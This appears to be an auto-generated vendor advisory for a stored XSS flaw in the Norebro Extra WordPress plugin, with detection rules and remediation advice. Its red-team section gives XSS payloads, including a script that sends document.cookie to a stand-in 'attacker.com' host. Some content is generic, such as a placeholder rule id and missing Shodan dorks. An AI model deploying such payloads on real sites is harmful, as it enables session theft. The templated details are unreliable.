CVE-2025-64633
Executive Summary
CVE-2025-64633 is a stored Cross-Site Scripting (XSS) vulnerability affecting the Norebro Extra WordPress plugin (versions <= 1.6.8) developed by Colabrio. The vulnerability arises from improper neutralization of script-related HTML tags in a web page, allowing an attacker to inject arbitrary code. This is a WordPress ecosystem issue, not related to Apache or Nginx. With a CVSS score of 5.3 (Medium), the vulnerability requires user interaction but can lead to session hijacking, defacement, or data theft. No public exploit or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link or visit a page.
- Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the plugin's popularity.
Deep Dive & Mechanics
The vulnerability exists in the norebro-extra plugin's handling of user-supplied input within a web page context. The plugin fails to sanitize or escape script-related HTML tags (e.g., <script>, <img onerror>, <svg onload>) before rendering them. An attacker can inject malicious JavaScript that executes in the context of the victim's browser when they view the affected page.
Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions like esc_html(), wp_kses(), or htmlspecialchars(). This allows arbitrary HTML/JavaScript to be stored and later rendered.
Attack Vector:
- Attacker identifies an input field (e.g., comment, custom field, shortcode parameter) that is not sanitized.
- Attacker submits a payload like
<script>alert('XSS')</script>. - The payload is stored in the database.
- When an administrator or visitor views the page, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (norebro-extra <= 1.6.8):
<?php
// Example vulnerable function
function norebro_render_field($value) {
echo $value; // No sanitization
}
?>
Patched Code (Hypothetical):
<?php
function norebro_render_field($value) {
echo esc_html($value); // Properly escapes HTML
}
?>
Exploitation & Lab Setup
Red Team (Offensive)
- Setup: Install WordPress with Norebro Extra plugin version 1.6.8.
- Craft Payload: Use a basic XSS payload:
<script>alert(document.cookie)</script> - Inject: Submit the payload via a vulnerable input field (e.g., a custom meta box or shortcode).
- Trigger: Access the page where the payload is rendered.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defensive)
- Detection: Monitor for unusual input patterns in plugin fields.
- Mitigation: Apply a Web Application Firewall (WAF) rule to block
<script>tags. - Hardening: Disable the plugin until a patch is available.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing
document.cookie. - File: Modified plugin files in
/wp-content/plugins/norebro-extra/with injected JavaScript. - Log: WordPress debug logs showing
PHP Notice: Undefined indexor similar errors. - Database: Entries in
wp_postmetaorwp_optionscontaining<script>tags.
Detection Engineering
YARA Rule
rule CVE_2025_64633_XSS {
meta:
description = "Detects XSS payloads targeting Norebro Extra plugin"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-64633"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
condition:
any of them
}
Sigma Rule
title: CVE-2025-64633 XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts against Norebro Extra plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '/wp-content/plugins/norebro-extra/'
cs-method: 'POST'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate admin usage
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-64633 XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/norebro-extra/"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Norebro Extra plugin until a patch is released.
- Short-term: Implement a WAF rule to block XSS payloads.
- Long-term: Update to a patched version when available (monitor vendor's site).
- Code Fix: Apply WordPress escaping functions (
esc_html(),wp_kses()) to all output.
Workaround: Use a security plugin like Wordfence to add virtual patching.
Report generated by Valters IT DevSecOps Intelligence Unit.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.